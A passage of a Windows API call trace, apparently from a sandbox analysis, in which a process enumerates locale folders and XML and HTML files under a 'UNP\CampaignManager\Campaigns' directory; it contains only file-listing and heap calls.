	[0157.054] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.054] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.054] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0157.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0157.055] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1
	[0157.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0157.055] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN") returned 100
	[0157.055] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0157.529] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.561] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b5b0aa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.561] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.562] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.562] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.562] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.562] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0157.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0157.563] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0157.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.563] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN") returned 100
	[0157.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0157.565] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.565] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8e1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.566] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.566] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.566] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.566] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.567] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0157.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.569] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0157.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.570] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK") returned 100
	[0157.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0157.571] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.571] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.571] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.572] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.572] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.572] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.572] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0157.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.574] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0157.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.574] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW") returned 100
	[0157.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0157.575] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.576] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.576] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.576] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.576] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.576] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.576] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0157.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.577] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0157.577] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0157.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0157.579] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1
	[0157.579] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 0
	[0157.579] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0157.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0157.579] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0
	[0157.579] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0157.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0157.580] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0
	[0157.580] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0157.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
